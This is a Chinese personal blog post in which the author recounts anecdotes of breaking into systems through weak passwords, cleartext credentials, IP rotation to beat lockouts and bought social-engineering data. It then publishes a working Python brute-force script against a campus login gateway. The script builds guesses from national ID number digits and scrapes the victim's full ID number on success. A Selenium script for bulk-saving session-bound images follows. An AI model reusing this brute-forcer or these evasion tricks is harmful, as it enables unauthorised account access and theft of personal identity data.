Python日常小记 - 奇怪的需求之拿东西

Catalogue
  1. 1. 0
    1. 1.1. AB
    2. 1.2. CD
    3. 1.3. E
    4. 1.4. F
  2. 2. 1
    1. 2.1. 身份证
    2. 2.2. POST数据构造
    3. 2.3. 生日
    4. 2.4. 多线程
    5. 2.5. 其它
    6. 2.6. 结果
  3. 3. 2
    1. 3.1. 执着的图片
    2. 3.2. 按键操作
    3. 3.3. 结果
  4. 4. 代码
    1. 4.1. 1
    2. 4.2. 2

注明:代码仅限学习使用,禁止用作web攻击,一切后果由使用者自负,博主不承担法律责任。

0

弱密码攻击是我能想到的最简单的网安案例了。曾不止一次用123456(78)攻破各种网关、入口、无线接入点等等。前几天报导的2016最差密码中,没有任何争议,这个密码又一次强势登顶。

Most common pwd 2016

当然,在特定场合下,用123456去试密码并不可行。比如校园网网关,比如某台想进去瞅瞅的服务器,比如某个“谅你随便试也进不去”的场合。这时候,就需要按照需求进行分析了。Python在这种场合下很有用,时间紧张,需要尽快把想法变成行动,防止对方察觉;就算察觉了也要在补救措施到来前拿到想要的东西。如此而已。

以下案例亦真亦幻,就当听个乐儿了~

AB

A君想从B处拿到一些文件,但又不想留下太多痕迹,希望给B一个惊喜?A首先尝试了合理手段去获得线索。放狗一搜,的确有一堆结果;一一看过来,却发现没一个有用。甚至他天真地用关键词+download的方法去搜索,得到的无非是一堆广告链接和挂马网站而已。

A君不甘心,怎么办呢?他改变了搜索的思路,从B的文件展露出的一些端倪入手。比如奇怪的命名规则,比如特殊的排列方式,比如能看见的文本中特征词的分布。当然,这个过程很漫长,但由于A并不擅长长驱直入,只得从这些细微处下手。功夫不负有心人,终于,A找到了B某个文件的真实来源,从而找到了原作者所在的地方。

然而,原作者住在城堡里。大可以理解为找到原片的来源是getty,自己又没钱又没账号。这下没办法了吧?的确,对于A来说,要么只好腆着脸找B讨要文件,要么去找大老板卖自己时间换取想要的东西。这可不行,A暗自决定,一天时间,要么想出办法,要么干脆放弃。

A画了大半天时间重新审视了现有的资料,从蛛丝马迹中发现了一个可乘之机。在400度行的一个角落里找到了一串类似密码的东西。一个密码带出一个服务,一个服务连着一串服务。于是,A一下子看到了很多的东西。

Cleartext Password

CD

C君想登录一个网站,但没有用户名和密码。怎么办呢?他以游客身份看到了最近访问用户列表。上面有十几个用户名。没有什么方法,一个个试过去,用户名和密码填成一样。哈!居然还真有人这么设定!登上去以后,自然而然更多的信息就到手咯~

Usr = Pwd

D君比C君更懂得电脑技术一些。他也想进入一个网站。不同的是,那个网站的安全性更好一些,密码输错10次就会锁定IP。D君便理所应当地想到封掉一个换一个不就完了啦。他还知道社工的强大,花费不多就能得到更加准确的数据。哈!找到一个有意思的条目……

E

E比较有才,熟知Windows、Linux、Mac、Android、IOS、WP8等系统的开关机。他能直接写出一个链接来,直捣黄龙拿到那个文件。笔者看了E的做法后大为惊叹,学着也照猫画虎干了些人畜无害的事情~

Usr = Pwd

F

可得好好说说F,他是123456走天下的先驱人物,挂在嘴边上的名言:“喜欢就买,不行就分,多喝热水,重启试试”早已被奉为警句。碰巧通过123456拿到一个su后一发不可收拾,看到了许多不该看的东西。

Yoooo~

1

说说正经事。上面都是我见过或者道听途说的事情,但自己还没有真正试过做点什么。恰巧遇到一个网关没有验证码没有相应的阻断策略,干脆用Python练练手,写个小程序试一下。

已知条件:用户名是十位数,密码是六位数,默认密码为身份证后六位

身份证

我们都知道,身份证的18位数字是很有规律的:省市年月序号性别校验。只是现在我们不需要根据已知数位求身份证,而需要枚举出所有可行的后六位数值来。

如果没有限制条件,数量也太大了。31*10000,显然不可行。最好能把字典大小控制在1E3量级,这样也方便测试。分析可知,前两位生日可以通过一些社工方法拿到,性别可以通过规律得到。这样的话,得到的条目显著减少了。

POST数据构造

直接F12看一下正常访问是怎样的……然后一条一条删掉没影响的,最后留下精简的数据即可。

生日

可惜没法直接知道一个陌生人的生日。只好拿自己的生日做实验了。

多线程

尽管Python的多线程不太有效,实际上还是单核执行,但对于IO密集型操作应该还是有些效果。我尝试了最简单的Threadding模块,运行后发现还没有顺序执行来得快呢。或许对于一些更复杂的、需要载入更多内容的访问,多线程更适合吧。

其它

测试中发现用外网IP连接不太稳定,会报errno 10060,又不愿意加sleep,干脆想了别的办法。最后大概每秒钟3-5条的频率,不算太快,折衷办法。

结果

花费不到一分钟试出了自己的密码。

2

执着的图片

其实今天本来有正事儿相干的,结果一坐在电脑前就忍不住调程序。又写了个奇怪的需求。这次的需求是图片访问基于用户session,改变了就没法访问这张图片。(其实是可以的,只不过我懒得分析POST到底是什么流程,索性用拟人的方法来强行自动化)类似的情况有动态验证码生成——如果request了图片就会刷新。

明显就是一个利用selenium进行自动化的过程,但编程中遇到了一些小问题:selenium的确能保持session的状态,但它GET图片后并没法保存。如果是人手动操作的话,此时应该是通过右键另存为或者CTRL+S,不过程序并不能轻易地做到这一点。

按键操作

走了一点小弯路,想着用浏览器的模拟按键来操作。后来发现得使用winAPI模拟按键。CTRL+S之后,弹出的保存文件框再次超出了Python的适用范围,于是上stackoverflow一搜,发现了两种及其不优雅的解决方案……(没办法,谁让这个需求本来就很别扭呢)

Link

一种是通过Python输入前两个键,Autoit输入ENTER键来模拟;另一种是全屏截图然后根据获得的图片坐标进行裁剪……权衡了规模和实现难度后选择了第一种。

结果

得到了一堆图片

代码

1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
# -*- coding: utf-8 -*-
import httplib, urllib , cookielib, urllib2, re, time #, threading
path = 'http://xxxx/dologin.php'
path2 = 'http://xxxx/selfinfor.php'
stuid = '20xxxxxxxx'
pwdtext = 'xxxx.txt'
def Check(username, password):
data = {
'ID': username,
'Password': password
}
cj = cookielib.CookieJar()
post_data = urllib.urlencode(data)
UserAgent = 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.75 Safari/537.36'
for tries in range(3):
try:
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
opener.addheaders = [('User-Agent', UserAgent)]
urllib2.install_opener(opener)
req = urllib2.Request(path, post_data)
conn = urllib2.urlopen(req, timeout = 6)
res = conn.read()
# print res
conn.close()
if res.find("用户名或密码错误") != -1:
print 'now: ' + password
return False
else:
conn2 = urllib2.urlopen(path2)
res2 = conn2.read()
conn2.close()
regx = r'<tr><th>身份证号:</th><td>(.*)</td></tr>'
# idnumre = '^\d{15}(\d{2}[0-9xX])?$'
#for line in res2:
# if re.search(idnumre , line):
tmp = re.findall(regx, res2)
print 'pwd: ' + password + ' usr: ' + username + ' ID number ' + tmp[0]
outFile = open('result '+username+'.txt', 'w')
outFile.write('pwd: ' + i.rstrip() + ' usr: ' + stuid + ' ID number ' + tmp[0])
outFile.close()
#else:
# continue
return True
except Exception,e:
print Exception,":",e
if tries < (2):
continue
else:
print 'Has tried 3 times to access and failed!'
print 'sth wrong, retry manually pwd: ' + password
break
'''
if __name__ == '__main__':
tsk = []
with open(pwdtext) as pwdfile:
for i in pwdfile.readlines():
t = threading.Thread(target = Check, args = (stuid,i))
tsk.append(t)
#if Check(stuid,i.rstrip()): #20xxxxxxxx
#break
for t in tsk:
t.start()
t.join(5)
print "All thread OK,maybe not "
outFile = open('爆破成果.txt', 'w')
outFile.write('pwd: ' + password + ' usr: ' + username + ' ID number ' + tmp[0])
outFile.close()
'''
if __name__ == '__main__':
with open(pwdtext) as pwdfile:
for i in pwdfile:
time.sleep(5)
if Check(stuid,i.rstrip()):
break

2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# -*- coding: utf-8 -*-
from selenium import webdriver
from selenium.common.exceptions import TimeoutException
import time
import os
import win32api
import win32con
site = 'http://xxxx/index.portal'
stuid = 'xxxxxx'
pwdtext = '123456'
link = 'list2.txt'
driver = webdriver.Chrome()
driver.get(site)
time.sleep(1)
driver.find_element_by_name("userName").send_keys(stuid)
driver.find_element_by_name("password").send_keys(pwdtext)
driver.find_element_by_name("btn").click()
time.sleep(1)
with open(link) as pwdfile:
for i in pwdfile.readlines():
for tries in range(3):
try:
driver.get(i)
#driver.save_screenshot(i[-14:])
time.sleep(1)
win32api.keybd_event(17,0,0,0) #ctrl键位码是17
win32api.keybd_event(83,0,0,0) #s键位码是83
win32api.keybd_event(83,0,win32con.KEYEVENTF_KEYUP,0) #s释放按键
win32api.keybd_event(17,0,win32con.KEYEVENTF_KEYUP,0)
time.sleep(0.5)
#win32api.keybd_event(16,0,0,0)
#win32api.keybd_event(16,0,win32con.KEYEVENTF_KEYUP,0)
win32api.ShellExecute(0, 'open', 'saveas.exe', '','',0) #autoit
print 'success'
break
'''
with open(i[-14:],'wb') as code:
code.write(content)
break
'''
except Exception,e:
print Exception,":",e
if tries < (3):
continue
else:
print 'Has tried 3 times to access ' + i + ' and failed!'
1
2
3
//autoit代码
WinWaitActive("另存为")
Send("{ENTER}")
Share Comments
多说已于2017年6月1日到期,此处不再提供评论功能。如需评论请使用About页面的disqus(GFW)或提交issue。
The previous duoshuo comment system stopped service. Please use disqus or submit issues to comment.